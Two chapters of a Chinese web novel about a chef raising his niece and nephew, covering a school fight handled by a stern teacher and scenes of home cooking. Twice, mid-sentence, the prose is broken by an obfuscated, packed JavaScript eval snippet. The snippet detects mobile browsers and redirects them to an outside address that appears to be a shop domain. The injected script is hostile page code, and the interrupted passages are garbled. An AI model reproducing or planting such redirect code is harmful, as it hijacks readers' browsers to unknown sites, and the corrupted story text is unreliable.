戴千恩尝了尝，巧克力皮是脆的，麻糍是糯的，淡奶油甜丝丝的很细腻，流心的生巧他刻意没放太多糖，留点淡淡的生巧苦味，味道层次分明，口感十分丰富。 比戴橙买的要好吃得多。 并不是他技术有多好，而是他买的原材料贵。 混着果仁碎的脆皮巧克力包裹着抹茶绿的果酱淡奶油，中间一点生巧流心，颜值确实好看，十分出片。 戴千恩做了十二枚，单独放入模具后放进冰箱等戴橙放学。 他躺在太妃椅上晒太阳，电话响了，是戴青的班主任打来的，说戴青和同学打架，让他现在去学校一趟。 想到和戴青班主任的第一次见面是在派出所，戴千恩就一阵头疼，那个老师一点都不和蔼，十分不好接触的样子，看起来没什么人性。 他到了老师办公室，里头一个高大胖肿的男孩一脸委屈，嘴角有血，手里拿着一颗还带着点血的牙，他身边站着眉头紧锁的妈妈。 另一个比小胖矮一个头小一号的人就是戴青。 虽然最近戴青伙食不错，长了不少，但在这个小男孩面前，还是显得矮小黄瘦。 对方家长衣着光鲜，妆容精致，俨然一副社会精英模样。 气氛凝重，而宋思源在气定神闲转笔，一张帅脸面无表情。 就一副高岭之花毫无人性的样子。 戴千恩的关注点莫名其妙地落在宋老师的手上。 他居然在转笔，当老师还这么拽。 以前他在课堂上转笔，可没少挨班主任砸粉笔头。 他一进办公室，宋思源才放下笔，手一抬，冷白的皮肤下青筋微微抬起。 戴千恩收回目光，心想这手是真好看，手指长，挺适合转笔。 小胖的妈妈看到戴千恩进来，眉头皱得更深了，毫不掩饰针尖对麦芒的敌意。 在这种正义的场合，戴千恩顶着一头红发，戴青一脸拽相，明显处于道德劣势。 戴千恩刚想礼貌跟对方家长打个招呼，对方家长甚至懒得搭理他，直接对着老师输出。 “宋老师，我再说一遍，我们家浩轩不能跟他同桌，您调座位吧，如果没人愿意跟他同桌，你可以在角落给他单独排一个位置。” 宋思源抬眸看人：“张浩轩家长，请您先冷静……” 张浩轩妈妈立刻打断他：“我的孩子，牙都被他打掉了，我已经很冷静了宋老师。” 小胖中气十足附和，摊开掌心亮出牙：“都打掉到地上了，我在地上捡起来的。” 戴青哼了声，冷冷道：“对，我打得你满地找牙。” 根本插不上话的戴千恩只好在心里干着急，戴青干啥呢，赶着给对方送人头。 浩轩妈妈本想剐戴青一个冷眼，戴千恩移了一步，把戴青挡在身后，呈一个保护的姿势，抬起头，平静地直视她。 戴青一愣，捏着的拳头松了些。 戴千恩之前遇到过不少一言不合就要找老板讨说法的客人，那种时候他都会像现在这样，把自己的徒弟挡在身后。 再者，电话里老师说得也很清楚，不是戴青打了同学，而是戴青和同学打架，怎么地也十分有可能是互殴，不是戴青一个人的错。 戴千恩好商好量的态度：“家长，咱们先听孩子怎么说，再听老师怎么说。” 张浩轩妈妈：“你觉得这有什么好说的，是你家孩子把我儿子给打了，我儿子才换牙，就给他打掉了，我会带我儿子去医院做个鉴定。” 戴千恩陈述事实：“这颗牙牙根短，应该是乳牙，他二年级了，也该换了，再不掉万一长出新的，牙容易长不齐。” 张浩轩妈妈气极反笑：“那我还得谢谢你？” 戴千恩：“那倒也不用。” 话题往一个奇怪的方向飞奔，办公室里诡异地安静着？ 戴千恩心平气和，和一头拽得飞起的红发格格不入的温吞语气堵得浩轩妈妈说不出话来。 宋思源又跟AI似的插话：“两位家长，我们先听孩子怎么说，戴青你先说。” 张浩轩妈妈立刻接话，一副绝对不要让恶人先告状的气势：“浩轩，你先说。” 戴千恩也不乐意了，萌生出来的护犊子心绪：“可是老师让戴青先说。” 办公室陷入一阵诡异的沉默，张浩轩妈妈一个眼神杀过来，那是一个看老师的舔狗的眼神。 戴千恩觉得自己还没有到舔的地步，最多算是积极配合，张浩轩妈妈这个眼神有点夸张了。 宋思源没理会两位家长的针锋相对，看向孩子：“你们石头剪刀布，谁赢了谁先说。” 张浩轩妈妈：“……” 戴千恩又积极配合，用力点头：“很公平。” 戴千恩终于在他身上看到了点童趣，宋老师的人性值涨了点。 张浩轩妈妈的眼神更浓烈了。 戴千恩看向戴青：“听老师的话，石头剪刀布。” 张浩轩妈妈：“……” 张浩轩妈妈对这个宋老师不满很久了，投诉过不少次，但学校不知道怎么回事特别护着他，投诉后他一点事没有。 再加上一个舔狗家长，浩轩妈妈也只能少数服从多数。 戴青觉得这个办法幼稚且有病，但又忌惮宋魔王，不情不愿伸出拳头。 于是，刚才还在打架的两个小朋友只能石头剪刀布定胜负。 戴千恩悄声对戴青说：“你要先出剪刀，因为一般人都先出布。” 办公室就那么大，人与人之间勉强维持一米的安全社交距离，戴千恩这气音连标点符号都让人给听见了。 由于戴千恩泄题，两个小朋友猜了五次出的都一样，紧张的气氛中透露出些滑稽。 再别扭的小孩，也才8岁大，仇记不了多深，总猜得一样便觉得好玩，不愉快早就忘到九霄云外了，张浩轩没控制住，噗嗤先笑出了声。 戴青也跟着微微勾了勾嘴角。 张浩轩妈妈咳了一声，张浩轩连忙敛起笑容，认真划拳，最中还是戴青赢了。 赢了的戴青没见多高兴，但输了的张浩轩脸色一变，谨小慎微地看向自己的妈妈。 宋思源看向戴青，捏了下手指：“你先说，说实话。” 戴青收起翘着的嘴角，梗着个脖子不说话，十分不给面子。 戴千恩也是带过徒弟的，知道一些浅显的鼓励别人的话术。 戴千恩：“这是你自己争取来先说的机会，你不能浪费了。” 但戴青很不给面子，就是不说。 宋思源放下笔，动了下脖子，又揉了揉手腕，安静看着戴青。 戴千恩看懂了宋老师的肢体语言，意思是再不说就揍了。 戴青当然也看懂了，他吞咽了下，不情不愿地说：“大胖撞我，害得我课本破了，我让他道歉，他不道歉，他说我是怪胎，我就推了他，他自己摔倒磕到牙，我还没来得及打他，他就哭着打电话给他妈妈了。” 专家说要鼓励小孩，不要打小孩，看着戴青乖乖开口，戴千恩觉得专家说的也不是全对，他苦口婆心，都不如宋老师转一下脖子揉一下手腕。 张浩轩妈妈捕捉到了关键词：“还没来得及打是么，所以是蓄意。” 张浩轩可没他妈妈那么精明，也赶着送人头：“他就是怪胎，班里其他同学都叫他怪胎，我又没瞎说。” 戴青皱了下眉，瞪着张浩轩，就地反击：“死胖子，班里的同学都叫你死胖子，你是死胖子。” 刚才那点一笑泯恩仇的苗头夭折了，办公室里又乱成了一锅粥。 宋思源冷静得像个局外人，转着脖子揉着手腕咳了一声，两个孩子安静了下来。 “轮到你说了，” 宋思源看向张浩轩，顿了顿又说，“说实话。” 张浩轩支支吾吾半天，东拼西凑才开口说：“我走过去不小心碰了他，他课本破了，他就气冲冲让我道歉，我就说他，他就推人，我摔倒在地上，我看到牙掉了，很害怕，就给我妈打了电话。” 和戴青说的大差不差。 宋思源：“所以你跟家长说慌，你被同学打到牙都掉了。” 张浩轩愣了下，点了点头。 宋思源看向已经在办公室输出了将近十分钟、把办公室其他老师都给说走了的张浩轩妈妈一眼。 事情真相水落石出，张浩轩妈妈很生气，但也不好说再什么，但她是怎么都不愿意让自己的儿子和这样的小孩子同桌了。 宋思源：“二位家长，事情的经过是这样的，你们还有疑问吗？” 张浩轩妈妈声音很尖，戴千恩被她吵得有点头疼，满脑子飘的都是她那句“我们家浩轩”，木然点了点头。 张浩轩妈妈：“老师，为了避免冲突，我们申请换位置。” 宋思源开口了：“戴青和张浩轩是班里最调皮的两个孩子。” 张浩轩妈妈不吱声了，张浩轩什么样她最清楚，她其实也是老师办公室常客，算起来，她和戴千恩都算熟人了。 宋思源：“今天叫二位家长过来，是希望家长配合学校严加管教。如果管不了，以后走向社会，会有派出所替你们教育。” 宋老师说得冷淡，一针见血，完全不给面子，几乎不具备小学人民教师的平易近人。 但他觉得宋老师说得有道理，认同地点了下头，抬起头时，才发现办公室里大的小的都在看着他。 戴千恩反应了好一阵子，才回过神来，宋老师有可能在指桑骂槐。 宋思源移开目光，垂下眼眸说：“家长如果有什么想法可以说。” 张浩轩妈妈冷冷道：“如果班主任老师不能合理安排学生座位，任由其他孩子影响我家孩子，我会向年级主任申请换座。” 宋思源抬眼看她，又淡然重复一遍：“张浩轩也很调皮。” 张浩轩妈妈：“……” 虽然没有一个字是拐弯抹角的，但宋思源觉得自己已经说得很委婉了，戴青又黑又瘦，张浩轩又白又胖，两人小小年纪就有黑白双煞的绰号，全班同学都没人愿意跟他们同桌，只好两人凑在一起。 两人一天一小打三天一大打，上届班主任毫无办法，恨不得求一张符贴在他们的座位上，企图镇住他们的煞气。 宋思源：“张浩轩先挑衅，违规使用电话手表，电话没收至本期末再归还，罚扫教室一周，戴青先动手，罚扫厕所三天。” 两个孩子不乐意，也只是敢怒不敢言，但浩轩妈妈不乐意，就是敢怒又敢言了。 “为什么他只要扫三天，而我家浩轩要扫一周？” 宋思源很快给出了解决办法：“那换？” 还没等浩轩妈妈表态，张浩轩先跳出来：“我不要扫厕所，妈妈，我才不要扫厕所。” 浩轩妈妈只好作罢。 戴千恩也有意见：“那罚浩轩同学扫教室一周，是罚五个工作日，还是七个工作日？” 宋思源背往椅子一靠，抬头看他。 宋老师这表情戴千恩熟，当年他数学考8分的时候，数学老师就用这种匪夷所思的表情看着他。 浩轩妈妈也很无语，这上了多少年班，才会这么死抠七天和七个工作日的区别。 但戴千恩是有理由的，他很认真地把自己的想法说出来：“如果是罚七个工作日，戴青扫三天厕所还算合理，如果只罚五个工作日，我们家戴青扫两天厕所就够了。” 宋思源来回看两位家长，最后目光落在戴千恩身上，咬了咬后牙槽。 宋思源收回眼神，直接略过他的问题，继续说：“你们相互给对方起绰号，罚抄校纪校规10遍。” 两个小孩还是是敢怒不敢言。 张浩轩妈妈加大筹码：“关于我们浩轩换座的事，如果学校不能做主，我会向教育局反应，必要时会投诉。” 宋思源闻言放下手中的笔，抬眸看着她，抬手扶了下眼镜，嘴角微不可查地提了提，接而又垂眸整理台账。 戴千恩竟从他透明镜片背后的眼睛看出点桀骜不驯来，甚至有破罐子破摔的满不在乎。 显然，张浩轩妈妈也看出来了。 张浩轩妈妈的语气也缓和了些：“我不干涉宋老师的教学方式，但也请宋老师酌情考虑家长建议。” 宋思源撩起眼皮看了她一眼，心平气和回答她：“你去。” 张浩轩妈妈反应了一会儿，才意识到他是回答了她上一个问题。 戴千恩直觉这位宋老师也是个犟种，小时候估计没少挨请家长。 但他也挺佩服宋老师，能顶得住家长的压力，处理小孩子的事情还算公平公正，比戴橙那个只想甩锅的班主任强多了。 宋思源处理完事情，不理会这些家长一个赛一个鬼畜的思维方式，而是从办公桌的抽屉里掏出一个带锁的铁盒子，里面已经有不少个电话手表。 宋思源：“张浩轩，手表放进来，家长请在这个保管台账上签字。” 张浩轩妈妈急了：“宋老师，如果收了电话手表，我儿子像今天一样被人欺负了，他怎么给我打电话？” 宋思源没什么感情地重复一遍：“学校规定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16774972|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不能带电话手表。” 张浩轩妈妈：“不行。” 宋思源嗒嗒敲了敲铁盒子：“这也可以去教育局投诉。” 戴千恩：“……”真好心。 张浩轩妈妈抿了抿唇，冷眼看着宋思源，不情不愿地在台账上签字。 张浩轩妈妈无语片刻，拉着张浩轩，冷声道：“浩轩，我们走。” 张浩轩被妈妈拉出办公室。 张浩轩：“妈妈，那我先去上课了。” 张浩轩妈妈恨铁不成钢道：“我说张浩轩，你怎么这么笨，你在老师面前说他是怪胎做什么，你就一口咬定自己挨打了，嘴巴还跟个大漏勺似的什么都往外说，本来占理的，却一点理都没占，我怎么会生出你这么笨的儿子，笨死了。” 张浩轩被妈妈数落得哑口无言，只好耷拉着肩膀垂着脑袋道歉：“我错了，妈妈。” 虽然他不知道自己错哪儿了，但妈妈说他笨，他就需要道歉。 张浩轩妈妈：“回家吧，不上课了。” “我还有一节课……” “我忙得很，我马上要出差了，下午你也没什么重要的课，回家！” 张浩轩只好跟着回家了，一会儿是美术课，是他最喜欢的课，又上不了了，好可惜。 而办公室里戴千恩和戴青还在杵着。 宋思源安静地等了片刻，也没等到他们开口，不知道他们在等什么，难道还得他喊稍息么。 宋思源觉得好笑，两人这神情，家长比学生更像犯错的孩子。 宋思源：“戴青家长，你还有什么疑问吗？” 戴千恩摇了摇头：“没有。” 宋思源：“那让戴青去上课吧。” 戴千恩：“哦，有。” 宋思源：“……” 戴千恩：“就刚才那个问题，老师您还没有回答我，我家戴青要扫几天厕所？” 宋思源放下笔，身子往椅背上一靠，抬起下巴转动眼睛上下打量了下他。 看来有人把这里当成菜市场，讨价还价来了。 宋思源：“你是觉得罚三天太少了？” 戴千恩愣了下，十分震惊地看着宋老师，他没想到宋老师的思维方式这么奇怪。 戴千恩：“我当然是嫌多。” 宋思源：“那你觉得几天合适？” 戴千恩比了个耶：“2天。” 宋思源点了下头，又抬头看他：“不行。” 戴千恩：“……”不行为什么还点头。 戴青转过头，很无奈地翻了个白眼，瞧这两人的对话，完全不像两个加起来快五十岁的人。 宋思源也收拾好东西，看了下表：“如果没什么疑问，请家长先回去吧。” 戴千恩和宋老师道了别，和戴青一起走出教师办公室。 宋思源看着火龙果色的后脑勺，咬牙切齿一番之后气笑了，提起笔在草稿纸上龙飞凤舞地写下三个字—— 神经病。 处理这件事搞得他午饭还没来得及吃。 午饭是和办公室的其他老师拼单点了云禾小饭馆的炒面，觉得最近云禾小饭馆的炒面不如以前好吃了。 虽然差别不大，但他嘴挑，能吃得出来，云禾小饭馆应该是换厨子了。 但另加的那块大肉还不错。 而戴青和戴千恩走出办公室，没事就跟戴青闲聊：“我做了最近很火的巧克力脆皮开心果大福，你想不想吃？” 小孩哥不爱吃甜食：“不想，我想吃炸鸡柳。” “比你姐姐买的好吃。” 戴青不说话，算了，大人都这样，听不到小孩子说话。 两人走着，迎面碰上了一个年轻的女孩，女孩正盯着他看，戴千恩纳闷怎么小学里混进了个高中生。 戴千恩觉得，他这头红发需要打理一下了，太过惹人注目，谈判容易处于劣势。 他本想再留长一点剪个微分碎盖，但估计等不了了。 戴千恩点点头后想走，她先开口了：“你是云禾小饭馆的厨师。” 他微笑回应：“对的。” 她问：“你已经不在云禾小饭馆做了吗？” 戴千恩奇怪她为什么会知道：“是的。” 她又问：“那你打算去哪里开店或者去哪里上班吗？” 戴千恩有点被她的热情整得一点雾水：“还没定呢。” 她失落了一阵，笑了笑说：“不好意思，打扰了，拜拜。” 见人朝办公室走去，戴千恩问戴青：“她是老师？” 戴青：“新来的实习老师。” 实习老师叫苏圆圆，在边江小学还挺有名，只因大学时她开始做美食探店博主，有大几十万粉丝，来学校实习也只是因为专业是师范类，加上家里希望她有个稳定工作，而不是搞自媒体整天不务正业。 边江小学领导和同事不敢惹的基层一线老师有两个，一个是宋思源，他带资进组，一来就给学校盖了两栋楼，不知道哪家少爷下基层体验生活来了。 另外一个就是苏圆圆，生怕她一个心情不好就发个短视频，那全国人民都知道了。 因为炒饭太过好吃，云禾小面馆苏圆圆也去探过店。 她最近觉得云禾饭馆的炒面味道和前阵子不一样了，想着有空再去店里看看，今天午休正好有时间去，果然换厨子了，换成了个花臂大汉，没想到回到学校居然看到了本尊。 其实炒面还是好吃的，就是千人千味，做探店博主吃多了美味，自然能发现不同之处。 苏圆圆回到办公室，宋思源刚吃完炒面。 苏圆圆问：“宋老师，你有没有觉得，这个炒面味道变了？” 宋思源点了下头：“是有点。” 得到认同的苏圆圆很高兴：“对吧，不止我一个人吃出来了，他们都说不变，其实变了，云禾小饭馆都换厨子了。” 宋思源又点了下头作为回应，认同她的话。 果然是换了厨子。 宋思源的沉默并不能阻止苏圆圆继续叽叽喳喳：“刚才我还在办公室外面还碰到云禾小饭馆原来的厨子了呢。” 宋思源觉得苏圆圆吵，但办公室没别人，出于礼貌，他搭话：“是么。” 苏圆圆：“对啊，原来那个厨师还是很好辨认的，红头发，长得白白净净的，还挺帅的呢，他手艺那么好，不知道以后会不会自己开个店。” 正在收拾垃圾的宋思源动作一滞，反问道：“红头发？” 苏圆圆：“嗯，有点偏玫红色，像火龙果那种颜色，以前好吃的那些炒饭都是他炒的，我亲眼见过他炒。” 这倒是让宋思源很意外，戴青家长的混账事迹他也了解一些，就不是个正儿八经的人。 他低头看外卖盒，有点无语。 想到这段时间他破天荒点的外卖全都是他做的…… 更无语了。 思维惊奇的小流氓会做饭，做得还挺好吃。 苏圆圆自言自语：“他还会做最近很火的巧克力脆皮开心果大福呢，好厉害啊。” 17.第 17 章 戴千恩回到家之后，一直想着戴青在学校被人叫“怪胎”的事，有点难过。 他从小没有父母，像戴青这么大的时候也常被同学起各种各样的绰号，奶奶知道后，就给戴千恩做了好多好吃的零食带到学校去，今天炸薯条，明天炸牙签肉，一周不重样。 奶奶嘱咐他分给小朋友吃，但不要分给那些笑话他的小朋友。 奶奶很会做饭，逢年过节她会做个大菜，卤肘子酱大肘豆豉鸡姜母鸭之类，再分出一半装进保温盒，领着他送到老师家里。 她说：“老师，这孩子从小没爸妈，我也是半截入土的文盲，没人保护他，也没人教育他，他要是在学校调皮捣蛋你就揍他，麻烦你多费心，我家穷，啥也没有，我就会做点饭，请你到家里吃饭也为难你，只能做个土菜送过来表示感谢。” 一开始老师不收，后来实在拗不过老婆子的热心。 奶奶的手艺很好，做的小零食很好吃，久而久之，就没人笑话他了。 等戴青放学，戴橙还没回来的功夫，戴千恩连忙问戴青：“你今天到底是为了什么和张浩轩打架？” 戴青不想提这件事，很不耐烦：“在办公室不是都说过了吗？” 戴千恩有商有量：“看在我努力帮你争取让你少扫一天厕所的份上，你跟我讲实话呗。” 戴青很无语：“不是没争取到吗？” 戴千恩：“但我努力了，没有功劳也有苦劳对不对。” 戴青拒绝沟通。 戴千恩：“那我只好打电话问你们宋老师，让他再调查调查。” 戴青一听着急了：“最近大胖带炸鸡柳到学校卖钱，偏偏不卖给我，我很不爽。” 戴千恩一诈，就诈出了隐情。 怪不得他刚才说要吃炸鸡柳。 戴千恩：“你们学校不是不让带外面的东西进去吃吗？” 戴千恩本来也想给戴青送午饭，但他们小学不允许自己带饭，连零食都不行。 戴青：“规定是死的，人是活的。” 从一个八岁小男孩嘴里说出这么成熟的一句话，戴千恩觉得好笑。 戴青：“你笑什么？” 戴千恩：“那你刚才跟宋老师揭发他私自带食物去学校，你不就不用被惩罚了吗？” 戴青不屑地嗤了声：“我才不干这种缺德事。” 戴千恩开启彩虹屁模式：“我就说，我们戴家不可能出这种会趁人之危的人。” 苏云禾说过，哄小孩哄小孩，小孩不就是要哄。 戴青的脸色肉眼可见地松了下来。 戴千恩：“不就是炸鸡柳吗，想吃我给你做就是了。” 八岁小孩记吃不记打，也没有戴橙的掩饰功底，两眼顿时放光：“真的？” 戴千恩：“当然真的，我现在去买食材，马上就做，等你姐姐回来正好可以吃，快去写作业。” 戴千恩立刻去超市买了鸡胸肉和面包糠，一回来就钻到厨房开始操作。 这些小吃对他来说都形成肌肉记忆了。 他腌好肉，裹好粉，油锅一热就开始下锅炸。 戴青跑到厨房眼巴巴看着，裹满浆液的鸡柳下油锅，嘶拉一声，沿着肉条四周冒出小小的油泡泡。 没一会儿，油锅噼里啪啦响，宛如戴青胃里的馋虫冒着泡。 白色的浆液逐渐凝固，面包糠也变得金黄，表面慢慢变得金黄，蛋白质与热油发生奇妙的反应，迸发诱人的肉香。 戴青在旁边一直问：“熟了吗？熟了吗？” 戴千恩问：“你喜欢吃老一点的还是嫩一点的？” 戴青疯狂吞口水：“我想吃快一点的。” 戴千恩：“那不行，得炸熟了。” 戴青：“喜欢吃脆一点的。” 戴千恩情绪价值拉满：“遵命！” 戴青顿时眉开眼笑。 戴千恩过完第一遍油，捞出来的时候戴青火急火燎想伸手，戴千恩连忙拦住：“还没熟，一会儿还要过一遍油。” 戴青脾气上来了。 戴千恩哄小孩：“心急吃不了热豆腐，美味值得等待，再等等，你能做到的对不对？” 高帽一带，那一定做到！必须能做到！ 戴千恩觉得戴青的性格太急躁了，需要磨一磨。 戴千恩不让他吃，他也没办法，只好到沙发上等着，戴千恩也不着急，按部就班慢悠悠地炸肉。 期间，戴橙放学回来，闻到香味，鞋一脱就走进厨房：“炸什么这么香？” 看到晾在一边的鸡柳，和戴青一样，戴橙下意识伸手抓，戴千恩阻止：“这个还没熟，去等一下。” 戴橙嗤了声，但也收回了手。 戴千恩问：“今天怎么回那么早？没去买大福？” 戴橙长叹一声：“老板不做人，搞饥饿营销，今天老师拖堂，去晚了卖完了。” 戴千恩：“哦，冰箱里有。” 戴橙没反应过来：“有什么？” “你打开看看。” 戴橙打开冰箱门，两排大福整整齐齐地放在最显眼的位置，一开门就看到。 戴橙：“哇！那么多！你去买的吗？” 戴千恩：“尝尝看好不好吃。” 戴橙很满足，就像玩卡，别人还一卡难求，她已经拿到了全套。 戴橙先拿出来一顿拍照，再小心翼翼开始吃。 直到咬到生巧夹心，丝滑的巧克力酱流出，舌尖尝到一点点苦味时，戴橙才反应过来不是那家店的大福。 那家店的大福没有夹心，还比那家店的好吃。 从香甜奶油到微苦生巧的味道转折，让人很惊艳。 怎么做到的。 戴橙跑到厨房问他：“你去哪里买的？” 戴千恩：“我自己做的，怎么样？好吃吗？” “真的假的？” 戴千恩拉开橱柜：“原材料还没用完，你想吃明天再做。” 戴橙看着那些已经被打包得整整齐齐的原材料，忍不住勾了勾唇，嘴上却说：“谁能一下吃完十二个大福啊。” 戴青看着戴橙心满意足的样子，为什么姐姐一回家就能吃到自己想吃的，他却还要等呢。 小叔叔好偏心。 等待美食的时光幸福又漫长，使得戴千恩那声“好了，出锅”比下课铃声还要悦耳。 竹篮里垫着油纸，一盆炸得黄灿灿的炸鸡柳堆得高高的，旁边还有两个干味碟，一个辣一个不辣，还有一碟番茄酱。 戴千恩：“快吃，凉了不好吃，也要小心烫。” 戴青直接上双手，一手抓一根，肉条还烫着，但他能忍住，他先塞一根到嘴里吃着，另外一只手去沾戴千恩调好的辣椒面。 香中带着辣，更好吃了。 戴橙吃得斯文一些，但也沦陷在美味中，一根接着一根没有停止。 炸鸡柳外酥里嫩，咸淡适宜，外表焦香，里面的肉条不柴不硬，腌制入味，十分好吃。 戴青吃完不忘舔手指，也没忘比较：“比大胖带的好吃一万倍。” 炸鸡柳下得很快，姐弟俩打了个饱嗝，他们都能吃辣，不停地斯哈着嘴。 戴橙看着空了的竹篮，才发现竹篮很好看，前几次洗碗她就发现了，戴千恩最近挑的餐具都很漂亮，品味变好了很多。 两人坐在沙发上吃，戴千恩下楼倒垃圾。 太阳落山，夕阳很美，戴千恩坐在小花园的椅子上坐一会儿，欣赏通红的晚霞。 虽然已入秋，但小花园里的蚊子还很多，戴千恩穿着短袖，手臂一下子被咬了好几个包。 戴千恩准备回去，一抬眸，便看见有个人穿着白衬衣逆着光骑着山地自行车从小区门口驶入。 白衬衣划破橙黄色的夕阳，逆着风紧紧贴在身上，勾勒窄窄的腰线，衣摆随风扬起，像一只闯入黄昏的纯白蝴蝶。 戴千恩一直很喜欢穿着白衬衣骑自行车的男生，似乎这样的男生永远干净热烈，永远意气风发。 戴千恩看得有点入神，没功夫理会趴在他手臂上吸血的三只花斑蚊子。 或许眼神真的会有感应，骑着自行车的白衬衣男人刹车，长腿撑着地看了过来，四目相对时，戴千恩惊在原地。 宋老师？ 夕阳下的宋老师肩宽腿长，白衬衣配上一张棱角分明的脸，风吹得他的刘海有点散，像偶像漫画里走出来的男主角。 竟是不近人情的宋老师。 宋思源皱了下眉，戴千恩才回过神，自知失态了。 但戴千恩很快调整好了心态，宋老师毕竟是戴青班主任，他作为监护人，少不了和老师打交道。 如果不知道监护人怎么和老师相处，那直接学奶奶就好了，走一步看一步呗。 戴千恩笑着打招呼：“宋老师您好。” 宋思源冷淡看着他：“戴青家长。” 戴千恩努力组织语言，想着先说什么比较合适。 戴千恩：“我下来倒垃圾。” 人家也没问，更尴尬了。 宋思源点了下头说：“那再见。” 宋思源登上自行车刚想告别，戴千恩又开口了：“宋老师，您也住在这里吗？” 宋思源：“嗯。” 戴千恩眼睛亮了下：“我住在18栋6楼，602，你住哪一栋？” 宋思源不是很想回答这个问题，但戴千恩一直看他，一脸真诚。 真诚最能迷惑人，宋思源差点就告诉他了，还好话到嘴边改口。 宋思源：“戴青家长，如果你有事找我，可以直接给我打电话。” 戴千恩当然听出宋老师的拒绝，虽然对方很高冷，但他已经下定决心搞好关系，那就要一步一步走下去了。 和他搞好关系戴青来说也是一件好事，这点人情世故戴千恩还是拎得清的。 戴千恩一边回忆奶奶一边有样学样，很诚恳道：“我做饭还蛮好吃，如果宋老师没时间做饭，可以到我家吃饭。” 宋思源点了下头，但明显是敷衍的。 戴千恩忽然被激起胜负欲，突然很想向他证明自己的厨艺。 世界上没有人能拒绝他的饭菜？ 没有！ 他想起了自己炸的那锅鸡柳和脆皮巧克力开心果大福，计上心来。 戴千恩：“宋老师，您等我一下，五分钟，我回去给您拿点东西。” 宋思源刚想说不用，戴千恩已经跑走了。 宋思源看着他的背影，这人虽然脑回路略微惊奇，腿脚倒还挺利索。 宋思源骑着自行车跟上：“戴青家长，不用麻烦。” 戴千恩对这种场合还是有点经验的，他没停下脚步往前跑，边喘气边说：“宋老师，您就等我一会儿，不耽误您多长时间，但您要小心蚊子，这里蚊子超级多。” 自带生人勿进气质同时善于和人保持距离的宋思源，看着他飘扬的红发，第一次体验到了什么叫做盛情难却。 戴千恩跑回家，装一大包炸鸡柳，又从冰箱拿了两个大福装进去，急急忙忙跑下了楼。 准备再吃点炸鸡柳的姐弟俩看着空了的盘子：“……” 还好电梯给力，加上戴千恩奔跑的速度堪比某团外卖，气喘吁吁地跑到了宋思源面前时，宋思源确实也没等多久。 戴千恩把纸袋子递给他。 宋思源隐隐闻到一股炸肉的香气，有点腻，也有点鲜，但比街头巷尾的油炸味道清淡许多，像小时候过年家常的油炸肉饼。 宋思源不喜欢吃油炸的东西，但这味道能接受。 戴千恩：“也不是什么太好的东西，给小孩炸的鸡柳，我自己买鸡肉做的，不是用半成品炸的，宋老师您带回去趁热吃。” 戴千恩觉得自己像个产品推销员。 宋思源并不想要，但看他来来回回跑得满头大汗，态度过于真诚，想到他是云禾小饭馆原来的厨师，这段时间来一直点的外卖也是他做的，宋思源竟本能地对这份鸡柳萌生几分期待。 于是宋思源收下了。 宋思源：“谢谢。” 戴千恩吐了口气，轻松一笑：“不客气。” 宋思源不想跟他多说话，举了下袋子：“以后不用麻烦了，下不为例。” 小时候奶奶给老师送完菜，老师也这么说的，奶奶应下了。 回到家奶奶悄悄跟他说：没有下不为例，只有一回生二回熟。 戴千恩笑着摆摆手：“那宋老师你快回家吧，这里蚊子好多。” 宋思源点了下头，一手拿着袋子，单手把着自行车走了。 戴千恩看着他的背影，松了一口气。 宋老师好像也没有想象中那么难相处？ 他默默给宋老师的人性值+1。 戴千恩走两步又停了下来，回头看了眼黄昏，心想宋老师穿白衬衣真好看啊。 小孩在长身体，吃一点炸鸡柳不能饱腹，戴千恩照例做了晚饭。 考虑到两个孩子吃了炸鸡柳太油腻，戴千恩不做红烧类的菜了，晚饭主菜就做个清淡的鲜虾豆腐煲，再炒个小炒黄牛肉下饭，配上一个蔬菜就差不多了。 戴千恩买的砂锅派上了用场。 虾去头开背，豆腐煎至两面金黄，去过内脏的虾头煸出虾油，放水熬出黄橙橙的虾膏汤，再把食材全倒入砂锅中快火煮开后小火慢炖，剩下的美味交给时间和火候。 小炒黄牛肉必不可少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16784658|190136||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的就是香菜和小米辣，片成薄片腌制好的牛肉倒入油锅中，深红色的肉片迅速变白，淋入酱汁进一步激发牛肉爆炒过后的香，勾得正在客厅沙发上看电视的戴青无暇顾及动画片上的剧情，眼巴巴地往厨房这边看。 戴千恩炒好菜，姐弟俩已经打好了饭，本本分分地坐在餐桌上，连他那碗饭也打好了，筷子也摆好了。 菜一上桌，姐弟俩已经摒弃了所有的心思，专心吃饭。 鲜虾豆腐煲很鲜，豆腐煎过，表皮弹牙，里面却很嫰，虾膏汤很鲜，舀上一勺拌饭吃，整碗饭都鲜掉了牙。 爆炒牛肉放了点小米辣，十分开胃，就连不爱吃香菜的戴橙也没心思挑出香菜，关注点只在味道上。 吃完后她才回过神，她到底吃了多少香菜！ 餐盘吃得干干净净，姐弟两人吃饱喝足，心满意足地伸懒腰。 人吃饱喝足了，不仅心会变得柔软，耳根子也会变得柔软。 戴千恩没着急收拾，而是说：“我现在有件事，想请戴青帮个忙。” 戴青点了点头。 戴千恩说：“我就要开始摆摊卖炒饭炒面了，会很忙，戴青需要试着遵守纪律，减少请家长的次数，戴青你能做到吗？” 戴青毫不犹豫点了点头，想了下又说：“要是别人故意欺负我怎么办？” 戴橙：“要是别人打青青，青青不要还手吗？” 戴千恩：“还，不仅要还手，我还给你撑腰。” 